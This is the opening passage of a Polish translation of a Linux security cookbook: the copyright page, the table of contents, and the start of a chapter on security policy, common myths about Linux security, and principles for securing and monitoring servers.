

Wydanie II

Helion 

# Bezpieczeństwo systemu Linux w praktyce

Receptury



Packt 

Tajinder Kalsi

Tytuł oryginału: Practical Linux Security Cookbook - Second Edition

Tłumaczenie: Grzegorz Kowalczyk

ISBN: 978-83-283-5501-9

Copyright © Packt Publishing 2018. First published in the English language under the title 'Practical Linux Security Cookbook - Second Edition – (9781789138399)'.

Polish edition copyright © 2019 by Helion SA  
All rights reserved.

All rights reserved. No part of this book may be reproduced or transmitted in any form or by any means, electronic or mechanical, including photocopying, recording or by any information storage retrieval system, without permission from the Publisher.

Wszelkie prawa zastrzeżone. Nieautoryzowane rozpowszechnianie całości lub fragmentu niniejszej publikacji w jakiegokolwiek postaci jest zabronione. Wykonywanie kopii metodą kserograficzną, fotograficzną, a także kopiowanie książki na nośniku filmowym, magnetycznym lub innym powoduje naruszenie praw autorskich niniejszej publikacji.

Wszystkie znaki występujące w tekście są zastrzeżonymi znakami firmowymi bądź towarowymi ich właścicieli.

Autor oraz Helion SA dołożyli wszelkich starań, by zawarte w tej książce informacje były kompletne i rzetelne. Nie biorą jednak żadnej odpowiedzialności ani za ich wykorzystanie, ani za związane z tym ewentualne naruszenie praw patentowych lub autorskich. Autor oraz Helion SA nie ponoszą również żadnej odpowiedzialności za ewentualne szkody wynikłe z wykorzystania informacji zawartych w książce.

Helion SA  
ul. Kościuszki 1c, 44-100 Gliwice  
tel. 32 231 22 19, 32 230 98 63  
e-mail: [helion@helion.pl](mailto:helion@helion.pl)  
WWW: <http://helion.pl> (księgarnia internetowa, katalog książek)

Drogi Czytelniku!  
Jeżeli chcesz ocenić tę książkę, zajrzyj pod adres  
<http://helion.pl/user/opinie/bezli2>  
Możesz tam wpisać swoje uwagi, spostrzeżenia, recenzję.

Printed in Poland.

- [Kup książkę](#)
- [Poleć książkę](#)
- [Oceń książkę](#)

- [Księgarnia internetowa](#)
- [Lubię to! » Nasza społeczność](#)

# Spis treści

<b>O autorze</b>	<b>13</b>
<b>O recenzencie</b>	<b>14</b>
<b>Przedmowa</b>	<b>15</b>
<b>Rozdział 1. Problemy bezpieczeństwa w systemie Linux</b>	<b>21</b>
<b>Polityka bezpieczeństwa</b>	<b>22</b>
Opracowanie polityki bezpieczeństwa	22
Mity związane z bezpieczeństwem systemu Linux	22
<b>Konfigurowanie zabezpieczeń serwerów</b>	<b>23</b>
Jak to zrobić...	24
Jak to działa...	25
<b>Polityka bezpieczeństwa — bezpieczeństwo serwera</b>	<b>26</b>
Jak to zrobić...	26
Jak to działa...	27
<b>Definiowanie listy kontrolnej bezpieczeństwa</b>	<b>28</b>
Jak to zrobić...	28
Jak to działa...	29
<b>Sprawdzanie integralności nośnika instalacyjnego za pomocą funkcji skrótu</b>	<b>30</b>
Przygotuj się	30
Jak to zrobić...	30
Jak to działa...	31
Zobacz również	31
<b>Szyfrowanie dysków z użyciem mechanizmu LUKS</b>	<b>31</b>
Przygotuj się	32
Jak to zrobić...	32
Co dalej?	35

<b>Zastosowanie pliku sudoers — konfiguracja dostępu do polecenia sudo</b>	<b>36</b>
Przygotuj się	36
Jak to zrobić...	36
Jak to działa...	38
Co dalej?	38
<b>Skanowanie hostów za pomocą programu Nmap</b>	<b>39</b>
Przygotuj się	39
Jak to zrobić...	39
Jak to działa...	43
Zobacz również	43
<b>Zdobywanie uprawnień użytkownika root w podatnym na ataki systemie Linux</b>	<b>43</b>
Przygotuj się	43
Jak to zrobić...	44
Jak to działa...	46
Co dalej?	47
<b>Brak planu tworzenia kopii zapasowych</b>	<b>47</b>
Przygotuj się	47
Jak to zrobić...	47
Jak to działa...	49
<b>Rozdział 2. Konfigurowanie bezpiecznego i zoptymalizowanego jądra systemu</b>	<b>51</b>
<b>    Tworzenie nośnika startowego USB</b>	<b>52</b>
Przygotuj się	52
Jak to zrobić...	52
Jak to działa...	53
<b>    Pobieranie kodu źródłowego jądra systemu</b>	<b>53</b>
Przygotuj się	54
Jak to zrobić...	54
Jak to działa...	55
<b>    Konfigurowanie i budowanie jądra systemu</b>	<b>55</b>
Przygotuj się	55
Jak to zrobić...	56
Jak to działa...	60
<b>    Instalowanie i uruchamianie nowego jądra</b>	<b>60</b>
Przygotuj się	60
Jak to zrobić...	61
Jak to działa...	62
<b>    Testowanie nowego jądra i usuwanie błędów</b>	<b>63</b>
Konfigurowanie konsoli do debugowania przy użyciu modułu Netconsole	63
Przygotuj się	64
Jak to zrobić...	65
Jak to działa...	69
Co dalej?	69
<b>    Debugowanie procesu uruchamiania jądra</b>	<b>70</b>
Jak to zrobić...	70
<b>    Błędy jądra</b>	<b>71</b>
Przyczyny powstawania błędów jądra	71
<b>    Analizowanie ustawień i parametrów jądra za pomocą programu Lynis</b>	<b>73</b>
Przygotuj się	73
Jak to zrobić...	74

<b>Rozdział 3. Bezpieczeństwo lokalnego systemu plików</b>	<b>77</b>
<b>Wyświetlanie szczegółowych informacji o plikach i katalogach za pomocą polecenia ls</b>	<b>78</b>
Przygotuj się	78
Jak to zrobić...	78
Jak to działa...	80
<b>Zastosowanie polecenia chmod do ustawiania praw dostępu do plików i katalogów</b>	<b>80</b>
Przygotuj się	80
Jak to zrobić...	81
Jak to działa...	83
Co dalej?	83
<b>Zastosowanie polecenia chown do zmiany właściciela plików i katalogów</b>	<b>84</b>
Jak to zrobić...	84
Co dalej?	86
<b>Zastosowanie list ACL do ustawiania praw dostępu do plików</b>	<b>86</b>
Przygotuj się	86
Jak to zrobić...	87
Co dalej?	89
<b>Operacje na plikach z użyciem polecenia mv (przenoszenie plików i zmiana ich nazw)</b>	<b>90</b>
Przygotuj się	90
Jak to działa...	90
<b>Wdrażanie systemu obowiązkowej kontroli dostępu (MAC) z wykorzystaniem rozszerzenia SELinux</b>	<b>95</b>
Przygotuj się	95
Jak to zrobić...	96
Jak to działa...	97
Co dalej?	97
<b>Zastosowanie rozszerzonych atrybutów plików do ochrony plików wrażliwych</b>	<b>98</b>
Przygotuj się	98
Jak to zrobić...	99
<b>Instalowanie i konfigurowanie prostego serwera LDAP w systemie Ubuntu Linux</b>	<b>100</b>
Przygotuj się	100
Jak to zrobić...	100
Jak to działa...	106
<b>Rozdział 4. Uwierzytelnianie lokalne w systemie Linux</b>	<b>107</b>
<b>Uwierzytelnianie i logowanie się użytkowników</b>	<b>107</b>
Przygotuj się	107
Jak to zrobić...	108
Jak to działa...	110
<b>Ograniczanie możliwości logowania się użytkowników</b>	<b>110</b>
Przygotuj się	110
Jak to zrobić...	111
Jak to działa...	113
<b>Blokowanie możliwości logowania się użytkowników</b>	<b>113</b>
Przygotuj się	114
Jak to zrobić...	114
Jak to działa...	116

<b>Monitorowanie aktywności użytkowników przy użyciu pakietu acct</b>	<b>116</b>
Przygotuj się	116
Jak to zrobić...	118
Jak to działa...	119
<b>Uwierzytelnianie użytkowników za pomocą klucza USB i mechanizmu PAM</b>	<b>120</b>
Przygotuj się	120
Jak to zrobić...	120
Jak to działa...	124
Co dalej?	124
<b>Sprawdzanie autoryzacji użytkowników</b>	<b>125</b>
Przygotuj się	125
Jak to zrobić...	125
Jak to działa...	128
<b>Zarządzanie dostępem za pomocą systemu IDAM</b>	<b>128</b>
Przygotuj się	128
Jak to zrobić...	130
Jak to działa...	132
<b>Rozdział 5. Uwierzytelnianie zdalne</b>	<b>133</b>
<b>Zdalny dostęp do serwera/hosta przy użyciu połączenia SSH</b>	<b>133</b>
Przygotuj się	133
Jak to zrobić...	134
Jak to działa...	136
<b>Włączanie lub blokowanie możliwości logowania się użytkownika root za pośrednictwem sesji SSH</b>	<b>137</b>
Przygotuj się	137
Jak to zrobić...	137
Jak to działa...	139
Co dalej?	139
<b>Ograniczanie zdalnego dostępu z użyciem sesji SSH opartej na kluczach</b>	<b>140</b>
Przygotuj się	140
Jak to zrobić...	140
Jak to działa...	142
<b>Zdalne kopiowanie plików</b>	<b>143</b>
Przygotuj się	143
Jak to zrobić...	143
Jak to działa...	146
<b>Konfiguracja serwera Kerberos na platformie Ubuntu</b>	<b>147</b>
Przygotuj się	147
Jak to zrobić...	147
Jak to działa...	155
<b>Zastosowanie serwera LDAP do uwierzytelniania użytkowników i zarządzania nimi</b>	<b>155</b>
Przygotuj się	155
Jak to zrobić...	156

<b>Rozdział 6. Bezpieczeństwo sieciowe</b>	<b>161</b>
<b>Zarządzanie sieciami TCP/IP</b>	<b>161</b>
Przygotuj się	161
Jak to zrobić...	162
Jak to działa...	165
<b>Zastosowanie analizatora pakietów do monitorowania ruchu w sieci</b>	<b>165</b>
Przygotuj się	166
Jak to zrobić...	166
Jak to działa...	169
<b>Zastosowanie zapory sieciowej iptables</b>	<b>169</b>
Przygotuj się	169
Jak to zrobić...	170
Jak to działa...	174
<b>Blokowanie połączeń ze sfałszowanych adresów IP</b>	<b>174</b>
Przygotuj się	174
Jak to zrobić...	175
Jak to działa...	177
<b>Blokowanie ruchu przychodzącego</b>	<b>178</b>
Przygotuj się	178
Jak to zrobić...	178
Jak to działa...	181
<b>Konfigurowanie i stosowanie pakietu TCP Wrappers</b>	<b>182</b>
Przygotuj się	182
Jak to zrobić...	182
Jak to działa...	186
<b>Blokowanie ruchu sieciowego z danego kraju przy użyciu zapory ModSecurity</b>	<b>186</b>
Przygotuj się	186
Jak to zrobić...	186
<b>Zabezpieczanie ruchu sieciowego przy użyciu protokołu SSL</b>	<b>191</b>
Przygotuj się	191
Jak to zrobić...	191
Jak to działa...	195
<b>Rozdział 7. Narzędzia bezpieczeństwa</b>	<b>197</b>
<b>sXID</b>	<b>197</b>
Przygotuj się	198
Jak to zrobić...	198
Jak to działa...	200
<b>PortSentry</b>	<b>200</b>
Przygotuj się	200
Jak to zrobić...	200
Jak to działa...	204
<b>Squid Proxy</b>	<b>204</b>
Przygotuj się	204
Jak to zrobić...	205
Jak to działa...	208

<b>Serwer OpenSSL</b>	<b>208</b>
Przygotuj się	209
Jak to zrobić...	209
Jak to działa...	213
Co dalej?	213
<b>Tripwire</b>	<b>215</b>
Przygotuj się	215
Jak to zrobić...	215
Jak to działa...	220
<b>Shorewall</b>	<b>220</b>
Przygotuj się	220
Jak to zrobić...	221
Jak to działa...	224
<b>OSSEC</b>	<b>224</b>
Przygotuj się	225
Jak to zrobić...	225
Jak to działa...	232
<b>Snort</b>	<b>232</b>
Przygotuj się	232
Jak to zrobić...	233
Jak to działa...	237
<b>Rsync i Grsync — narzędzia do tworzenia kopii zapasowych</b>	<b>237</b>
Przygotuj się	238
Jak to zrobić...	238
Jak to działa...	243
<b>Rozdział 8. Dystrybucje systemu Linux związane z bezpieczeństwem</b>	<b>245</b>
<b>Kali Linux</b>	<b>245</b>
<b>pfSense</b>	<b>251</b>
Przygotuj się	251
Jak to zrobić...	252
Jak to działa...	257
<b>DEFT Linux</b>	<b>257</b>
Jak to działa...	259
<b>NST Linux</b>	<b>259</b>
Przygotuj się	259
Jak to zrobić...	260
Jak to działa...	263
<b>Security Onion Linux</b>	<b>263</b>
Przygotuj się	263
Jak to zrobić...	264
Jak to działa...	270
<b>Tails Linux</b>	<b>270</b>
Przygotuj się	270
Jak to zrobić...	270
<b>Qubes Linux</b>	<b>273</b>
Przygotuj się	273
Jak to zrobić...	274
Jak to działa...	280



<b>Rozdział 9. Usuwanie luk w zabezpieczeniach powłoki bash</b>	<b>281</b>
<b>Powłoka bash — ataki z wykorzystaniem luki Shellshock</b>	<b>281</b>
Przygotuj się	282
Jak to zrobić...	282
Jak to działa...	284
<b>Kwestie bezpieczeństwa — ataki z wykorzystaniem luki Shellshock</b>	<b>285</b>
Przygotuj się	285
Jak to zrobić...	286
Jak to działa...	290
<b>System zarządzania aktualizacjami i poprawkami bezpieczeństwa</b>	<b>291</b>
Przygotuj się	291
Jak to zrobić...	291
Jak to działa...	297
<b>Instalowanie aktualizacji i poprawek bezpieczeństwa w systemie Linux</b>	<b>297</b>
Przygotuj się	297
Jak to zrobić...	298
Jak to działa...	300
<b>Inne znane podatności i luki w zabezpieczeniach systemu Linux</b>	<b>300</b>
Jak to zrobić...	300
Jak to działa...	302
<b>Rozdział 10. Monitorowanie systemu i rejestrowanie zdarzeń</b>	<b>303</b>
<b>Przeglądanie plików dziennika i zarządzanie nimi za pomocą programu Logcheck</b>	<b>303</b>
Przygotuj się	304
Jak to zrobić...	304
Jak to działa...	306
<b>Monitorowanie sieci za pomocą skanera Nmap</b>	<b>307</b>
Przygotuj się	307
Jak to zrobić...	308
Jak to działa...	311
<b>Zastosowanie pakietu Glances do monitorowania systemu</b>	<b>311</b>
Przygotuj się	312
Jak to zrobić...	312
Jak to działa...	315
<b>Monitorowanie dzienników zdarzeń za pomocą programu MultiTail</b>	<b>315</b>
Przygotuj się	315
Jak to zrobić...	316
Jak to działa...	318
<b>Zastosowanie narzędzi systemowych — polecenie whowatch</b>	<b>318</b>
Przygotuj się	318
Jak to zrobić...	319
Jak to działa...	321
<b>Zastosowanie narzędzi systemowych — polecenie stat</b>	<b>322</b>
Przygotuj się	322
Jak to zrobić...	322
Jak to działa...	325

<b>Zastosowanie narzędzi systemowych — polecenie lsof</b>	<b>325</b>
Przygotuj się	325
Jak to zrobić...	325
Jak to działa...	327
<b>Zastosowanie narzędzi systemowych — polecenie strace</b>	<b>328</b>
Przygotuj się	328
Jak to zrobić...	328
Jak to działa...	331
<b>Monitorowanie sieci LAN w czasie rzeczywistym za pomocą pakietu IPTraf</b>	<b>331</b>
Przygotuj się	331
Jak to zrobić...	332
Jak to działa...	336
<b>Monitorowanie bezpieczeństwa sieci za pomocą pakietu Suricata</b>	<b>336</b>
Przygotuj się	336
Jak to zrobić...	337
<b>Monitorowanie sieci za pomocą pakietu OpenNMS</b>	<b>341</b>
Przygotuj się	341
Jak to zrobić...	344
Jak to działa...	348
<b>Rozdział 11. Bezpieczeństwo serwera Linux</b>	<b>349</b>
<b>Serwer WWW — usługa HTTPD</b>	<b>349</b>
Przygotuj się	349
Jak to zrobić...	349
Jak to działa...	351
<b>Logowanie zdalne — usługa Telnet</b>	<b>352</b>
Przygotuj się	352
Jak to zrobić...	352
Jak to działa...	354
<b>Bezpieczne logowanie zdalne — usługa SSH</b>	<b>354</b>
Przygotuj się	354
Jak to zrobić...	355
<b>Bezpieczeństwo przesyłania plików — usługa FTP</b>	<b>356</b>
<b>Bezpieczne przesyłanie poczty elektronicznej — usługa SMTP</b>	<b>358</b>
Przygotuj się	358
Jak to zrobić...	358
Jak to działa...	363
<b>Rozdział 12. Skanowanie i audytowanie systemu Linux</b>	<b>365</b>
<b>Instalowanie programu antywirusowego w systemie Linux</b>	<b>365</b>
Przygotuj się	366
Jak to zrobić...	366
Jak to działa...	368
<b>Skanowanie systemu za pomocą programu ClamAV</b>	<b>368</b>
Przygotuj się	369
Jak to zrobić...	369
Jak to działa...	372

<b>Wykrywanie rootkitów</b>	<b>372</b>
Przygotuj się	372
Jak to zrobić...	372
Jak to działa...	376
<b>Zastosowanie usługi auditd</b>	<b>376</b>
Przygotuj się	376
Jak to zrobić...	376
Jak to działa...	377
<b>Zastosowanie programów ausearch i aureport do przeglądania dzienników audytu</b>	<b>378</b>
Przygotuj się	378
Jak to zrobić...	378
Jak to działa...	382
<b>Audytywanie usług systemowych za pomocą polecenia systemctl</b>	<b>382</b>
Przygotuj się	382
Jak to zrobić...	383
Jak to działa...	384
<b>Rozdział 13. Skanowanie w poszukiwaniu luk i podatności oraz wykrywanie włamań</b>	<b>385</b>
<b>Monitorowanie bezpieczeństwa sieci z użyciem systemu Security Onion Linux</b>	<b>385</b>
Przygotuj się	386
Jak to zrobić...	386
Jak to działa...	389
<b>Wyszukiwanie luk i podatności na ataki z użyciem pakietu OpenVAS</b>	<b>389</b>
Przygotuj się	389
Jak to zrobić...	389
Jak to działa...	394
<b>Zastosowanie programu Nikto do skanowania serwerów WWW</b>	<b>395</b>
Przygotuj się	395
Jak to zrobić...	395
Jak to działa...	397
<b>Utwardzanie systemu przy użyciu programu Lynis</b>	<b>397</b>
Przygotuj się	397
Jak to zrobić...	398
Jak to działa...	400
<b>Skorowidz</b>	<b>401</b>



# Problemy bezpieczeństwa w systemie Linux

Komputer działający pod kontrolą systemu Linux jest tak bezpieczny, jak go skonfiguruje jego administrator. Po zainstalowaniu wybranej dystrybucji systemu Linux i usunięciu wszystkich niepotrzebnych pakietów pozostałych po instalacji możemy rozpocząć pracę nad zapewnieniem bezpieczeństwa systemu, odpowiednio konfigurując zainstalowane oprogramowanie i usługi.

W tym rozdziale omówione zostaną następujące zagadnienia:

- Konfigurowanie zabezpieczeń serwerów.
- Polityka bezpieczeństwa — bezpieczeństwo serwera.
- Definiowanie listy kontrolnej bezpieczeństwa.
- Brak planu tworzenia kopii zapasowych.

Znajdziesz tutaj następujące porady:

- Sprawdzanie integralności nośnika instalacyjnego za pomocą funkcji skrótu.
- Szyfrowanie dysków z użyciem mechanizmu LUKS (ang. *Linux Unified Key Setup*).
- Zastosowanie pliku *sudoers* — konfiguracja dostępu do polecenia *sudo*.
- Skanowanie hostów za pomocą programu Nmap.
- Zdobywanie uprawnień użytkownika *root* w podatnym na ataki systemie Linux.
- Brak planu tworzenia kopii zapasowych.

## Polityka bezpieczeństwa

Polityka bezpieczeństwa to dokument określający zasady, metody, narzędzia i praktyki, których należy używać i przestrzegać w celu zapewnienia bezpieczeństwa środowiska komputerowego danej firmy czy organizacji. Dodatkowo w polityce bezpieczeństwa określony jest sposób, w jaki organizacja powinna zarządzać wrażliwymi danymi, chronić je i przetwarzać.

## Opracowanie polityki bezpieczeństwa

Tworząc politykę bezpieczeństwa, należy pamiętać, że powinna ona być prosta i zrozumiała dla wszystkich użytkowników. Celem tej polityki powinna być ochrona danych przy jednoczesnym zachowaniu prywatności użytkowników.

Polityka bezpieczeństwa powinna brać pod uwagę następujące zagrożenia:

- dostępność systemu,
- uprawnienia do instalacji oprogramowania w systemie,
- uprawnienia dostępu do danych,
- przywracanie normalnego działania po awarii.

Zgodnie z regułami polityki bezpieczeństwa użytkownik powinien korzystać tylko z tych usług, na korzystanie z których otrzymał pozwolenie. Wszystko, co nie jest dozwolone, powinno być wyraźnie określone w tej polityce. Przyjrzyjmy się zatem kilku powszechnym mitom na temat bezpieczeństwa systemu Linux.

## Mity związane z bezpieczeństwem systemu Linux

Planując wykorzystanie systemów opartych na Linuksie w swojej firmie, wielu użytkowników może nieco podświadomie odczuwać pewien niepokój. Może to być spowodowane fałszywymi pogłoskami na temat bezpieczeństwa systemu Linux powodującymi, że często nieświadomie stajemy się ofiarami różnych powszechnie pokutujących mitów.

### **Mit — ponieważ Linux jest systemem typu open source, uważa się, że nie zapewnia odpowiedniego bezpieczeństwa**

Linux, będący wolnym i otwartym systemem operacyjnym, posiada wiele niezaprzeczalnych zalet. Zawdzięcza to dużej społeczności mocno zaangażowanych programistów, którzy stale kontrolują kod źródłowy pod kątem wszelkich możliwych zagrożeń bezpieczeństwa; deweloperzy systemu mogą zapewnić szybkie wsparcie i naprawić każdy potencjalny problem związany z bezpieczeństwem. Aktualizacje i poprawki zabezpieczeń są niemal natychmiast po opracowaniu udostępniane użytkownikom do testowania, dzięki czemu droga do ich zainstalowania nie jest tak długa i wyboista, jak to często bywa w innych systemach z rodziny UNIX.

Ze względu na ogromną, ogólnosiwiatową społeczność użytkowników bezpieczeństwo Linuksa jest testowane w wielu różnych środowiskach komputerowych, co czyni go jednym z najbardziej stabilnych i bezpiecznych systemów operacyjnych. To, że kod systemu Linux jest dostępny dla programistów na całym świecie, przyczynia się do uzyskania lepszego poziomu zabezpieczeń, zwłaszcza w zakresie przypisywania i kontrolowania uprawnień użytkowników. Sposób, w jaki działa ten mechanizm, także jest pochodną otwartego i dostępnego dla wszystkich kodu źródłowego systemu.

---

### **Mit — Linux jest systemem tylko dla ekspertów i tylko oni wiedzą, jak skonfigurować go pod względem bezpieczeństwa**

Przyjęcie założenia, że Linux jest systemem tylko dla ekspertów, którzy wiedzą, jak radzić sobie z wirusami i atakami hakerów, jest poważnym błędem. Linux stał się jednym z najbardziej przyjaznych systemów operacyjnych, z którego mogą korzystać wszyscy użytkownicy — zarówno początkujący, jak i eksperci.

Linux jest bezpieczny dzięki swojej solidnej architekturze. Zwykli użytkownicy tego systemu posiadają konta o relatywnie niskich uprawnieniach, które nie mają przywilejów użytkownika *root*.

---

### **Mit — Linux jest systemem wolnym od wirusów**

Nawet jeżeli Linux zostanie narażony na niebezpieczeństwo, to ze względu na jego solidną i stabilną architekturę wirusy zazwyczaj nie będą miały dostępu do systemu na poziomie użytkownika *root* i tym samym nie będą w stanie spowodować żadnych większych uszkodzeń systemu.

Na serwerach działających pod kontrolą systemu Linux wdrażanych jest zazwyczaj kilka poziomów zabezpieczeń. Serwery są również częściej aktualizowane, co także pomaga zabezpieczyć je przed wirusami i atakami hakerów.

Nie zmienia to jednak w niczym faktu, że istnieje wiele wirusów przygotowanych do atakowania systemu Linux, zatem z całą pewnością nie można powiedzieć, że Linux jest całkowicie wolny od wirusów. Warto jednak zauważyć, że większość złośliwego oprogramowania działającego na tej platformie to wirusy o charakterze niezbyt destrukcyjnym.

---

## **Konfigurowanie zabezpieczeń serwerów**

Po zainstalowaniu serwera linuksowego kolejnym krokiem powinno być wdrożenie i skonfigurowanie odpowiednich mechanizmów zabezpieczeń, tak aby zminimalizować ryzyko związane z atakami hakerów oraz infekcjami złośliwym oprogramowaniem. Główną przyczyną udanych ataków na serwery linuksowe są niewłaściwie wdrożone zabezpieczenia lub pozostawione luki. Podczas konfigurowania serwera należy postępować zgodnie z wytycznymi polityki bezpieczeństwa firmy, tak aby stworzyć solidne środowisko, które będzie odporne na ataki.

## Jak to zrobić...

W kolejnych sekcjach omówimy najważniejsze zagadnienia związane z konfigurowaniem serwerów.

### Zarządzanie kontami użytkowników

Aby bezpiecznie skonfigurować konta użytkowników, postępuj zgodnie z poniższymi zasadami:

1. Podczas instalacji serwera linuxowego pierwszym kontem tworzonym domyślnie jest zawsze konto użytkownika *root*. Konto tego użytkownika powinno być używane tylko do wstępnej konfiguracji serwera.
2. Po zakończeniu wstępnej konfiguracji konto użytkownika *root* powinno zostać wyłączone za pośrednictwem sesji SSH. Takie rozwiązanie znacząco utrudni potencjalnemu napastnikowi dostęp do Twojej maszyny z systemem Linux.
3. Następnie należy utworzyć dodatkowe konto użytkownika, który po zalogowaniu będzie miał uprawnienia do zarządzania systemem. Taki użytkownik może mieć uprawnienia do korzystania z polecenia *sudo*, jeżeli konieczne będzie wykonywanie czynności administracyjnych.

### Zasady tworzenia haseł

Aby utworzyć bezpieczne hasła, postępuj zgodnie z poniższymi zasadami:

1. Tworząc konta użytkowników, upewnij się, że używasz silnych haseł. Jeżeli jest to możliwe, powinieneś wymusić długość hasła na poziomie od 12 do 14 znaków.
2. Jeżeli to możliwe, wygeneruj hasła losowo tak, aby zawierały małe i wielkie litery, cyfry oraz symbole (znaki specjalne).
3. Unikaj kombinacji haseł, które można łatwo odgadnąć, takich jak hasła słownikowe, wzory klawiaturowe, hasła zawierające nazwy kont użytkowników, numery identyfikacyjne, daty urodzin, imiennin.
4. Unikaj używania tego samego hasła dwukrotnie.

### Zasady konfiguracji

Aby bezpiecznie skonfigurować zabezpieczenia serwera, respektuj poniższe zasady:

1. System operacyjny działający na serwerze powinien być skonfigurowany zgodnie z dobrymi praktykami oraz wytycznymi zatwierdzonymi przez dział IT Twojej firmy lub organizacji.
2. Każda usługa lub aplikacja, która nie jest używana, powinna być wyłączona lub zablokowana (o ile to możliwe).
3. Każdy dostęp do usług i aplikacji na serwerze powinien być monitorowany i rejestrowany. Logi aktywności powinny być odpowiednio chronione za pomocą metod kontroli dostępu. Więcej szczegółowych informacji na ten temat znajdziesz w rozdziale 3. „Bezpieczeństwo lokalnego systemu plików”.



4. System powinien być często aktualizowany, a wszelkie poprawki bezpieczeństwa publikowane przez dostawców oprogramowania powinny być instalowane na bieżąco, tak szybko, jak to tylko możliwe.
5. Staraj się w jak największym stopniu unikać korzystania z konta użytkownika *root*. Pamiętaj, że w praktyce najlepiej stosować regułę najmniejszych niezbędnych uprawnień.
6. Wszelkiego rodzaju uprzywilejowany dostęp powinien być realizowany poprzez bezpieczne połączenie SSH (o ile to możliwe).
7. Dostęp do serwera powinien odbywać się w kontrolowanym i monitorowanym środowisku.

## Zasady monitorowania

1. Wszystkie działania związane z bezpieczeństwem systemów serwerowych powinny być rejestrowane, a raporty z audytu powinny być przechowywane w następujący sposób:
  - Wszystkie dzienniki związane z bezpieczeństwem powinny być przechowywane i dostępne online przez miesiąc.
  - Dienne kopie zapasowe, jak również cotygodniowe kopie zapasowe powinny być przechowywane przez miesiąc.
  - Miesięczne, pełne kopie zapasowe powinny być przechowywane przez co najmniej dwa lata.
2. Wszelkie zdarzenia związane z zagrożeniami bezpieczeństwa powinny być zgłaszane do odpowiedniego zespołu reagowania na incydenty wyznaczonego w dziale IT.
3. Poniżej przedstawiono kilka przykładów zdarzeń związanych z bezpieczeństwem:
  - ataki powiązane ze skanowaniem portów,
  - próby nieautoryzowanego dostępu do uprzywilejowanych kont użytkowników,
  - nietypowe zdarzenia spowodowane przez aplikację działającą na serwerze.

## Jak to działa...

Przestrzeganie zasad przedstawionych powyżej może ułatwić przygotowanie podstawowej konfiguracji serwera wewnętrznego, który jest własnością danej organizacji lub jest przez nią zarządzany. Skuteczne wdrożenie opisanych reguł pozwala na zminimalizowanie ryzyka nieautoryzowanego dostępu do poufnych i wrażliwych informacji przechowywanych i przetwarzanych na serwerze.

# Polityka bezpieczeństwa

## — bezpieczeństwo serwera

Główną przyczyną udanych ataków na serwery Linuksa są niepoprawnie wdrożone mechanizmy bezpieczeństwa lub podatność na ataki i luki w zabezpieczeniach. Podczas konfigurowania serwera należy zawsze brać pod uwagę wytyczne polityki bezpieczeństwa, dobre praktyki i rekomendacje ekspertów.

## Jak to zrobić...

Oto kilka najważniejszych zasad konfiguracji bezpiecznego serwera:

### Zasady ogólne

Konfigurując serwer, warto wziąć pod uwagę następujące sprawy:

1. Zarządzanie wszystkimi wewnętrznymi serwerami w organizacji powinno należeć do obowiązków wyspecjalizowanego zespołu, który powinien również czuwać nad wszelkimi kwestiami zgodności z procedurami bezpieczeństwa IT. W razie wystąpienia jakichkolwiek problemów związanych ze zgodnością zespół taki powinien natychmiast dokonać przeglądu istniejących procedur i wdrożyć zaktualizowaną politykę bezpieczeństwa.
2. Rejestrując serwery wewnętrzne w bazie zasobów komputerowych środowiska, należy podawać szczegółowe dane, tak aby można było zidentyfikować konkretne urządzenie na podstawie takich informacji jak:
  - lokalizacja serwera,
  - wersja systemu operacyjnego i konfiguracja sprzętowa,
  - usługi i aplikacje działające na serwerze.
3. Wszelkie dane o serwerach i innych urządzeniach zamieszczane i przechowywane w bazach zasobów komputerowych środowiska powinny być aktualizowane na bieżąco.

### Zasady konfiguracji

Aby bezpiecznie skonfigurować zabezpieczenia serwera, postępuj zgodnie z poniższymi zasadami:

1. System operacyjny działający na serwerze powinien być skonfigurowany zgodnie z dobrymi praktykami oraz wytycznymi zatwierdzonymi przez dział IT Twojej firmy lub organizacji.
2. Każda usługa lub aplikacja, która nie jest używana, powinna być wyłączona lub zablokowana (o ile to możliwe).
3. Każdy dostęp do usług i aplikacji na serwerze powinien być monitorowany i rejestrowany. Logi aktywności powinny być odpowiednio chronione za pomocą metod kontroli dostępu. Więcej szczegółowych informacji na ten temat znajdziesz w rozdziale 3. „Bezpieczeństwo lokalnego systemu plików”.

4. System powinien być często aktualizowany, a wszelkie poprawki bezpieczeństwa publikowane przez dostawców oprogramowania powinny być instalowane na bieżąco, tak szybko, jak to tylko możliwe.
5. Staraj się w jak największym stopniu unikać korzystania z konta użytkownika *root*. Pamiętaj, że w praktyce najlepiej stosować regułę najmniejszych niezbędnych uprawnień.
6. Wszelkiego rodzaju uprzywilejowany dostęp powinien być realizowany poprzez bezpieczne połączenie SSH (o ile to możliwe).
7. Dostęp do serwera powinien odbywać się w kontrolowanym i monitorowanym środowisku.

## Zasady monitorowania

Poniżej przedstawiono kilka podstawowych zasad bezpiecznego monitorowania działania serwera:

1. Wszystkie działania związane z bezpieczeństwem systemów serwerowych powinny być rejestrowane, a raporty z audytu powinny być przechowywane w następujący sposób:
  - Wszystkie dzienniki związane z bezpieczeństwem powinny być przechowywane i dostępne online przez miesiąc.
  - Dienne kopie zapasowe, jak również cotygodniowe kopie zapasowe powinny być przechowywane przez miesiąc.
  - Miesięczne, pełne kopie zapasowe powinny być przechowywane przez co najmniej dwa lata.
2. Wszelkie zdarzenia związane z zagrożeniami bezpieczeństwa powinny być zgłaszane do odpowiedniego zespołu reagowania na incydenty wyznaczonego w dziale IT.
3. Poniżej przedstawiamy kilka przykładów zdarzeń związanych z bezpieczeństwem:
  - ataki powiązane ze skanowaniem portów,
  - próby nieautoryzowanego dostępu do uprzywilejowanych kont użytkowników,
  - nietypowe zdarzenia spowodowane przez aplikację działającą na serwerze.

## Jak to działa...

Przestrzeganie powyższych zasad może ułatwić przygotowanie podstawowej konfiguracji serwera wewnętrznego, który jest własnością danej organizacji lub jest przez nią zarządzany. Skuteczne wdrożenie opisanych reguł pozwala na zminimalizowanie ryzyka nieautoryzowanego dostępu do poufnych i wrażliwych informacji przechowywanych i przetwarzanych na serwerze.

# Definiowanie listy kontrolnej bezpieczeństwa

Zabezpieczanie serwera linuksowego rozpoczyna się od przeprowadzenia procesu utwardzania systemu, co wymaga zdefiniowania listy kontrolnej bezpieczeństwa systemu, która pozwala na potwierdzenie, że odpowiednie mechanizmy zabezpieczeń zostały poprawnie wdrożone.

## Jak to zrobić...

Oto przykłady prostych list kontrolnych bezpieczeństwa serwera linuksowego:

### Instalowanie

Przygotowując listę kontrolną bezpieczeństwa systemu, warto wziąć pod uwagę m.in. następujące rzeczy:

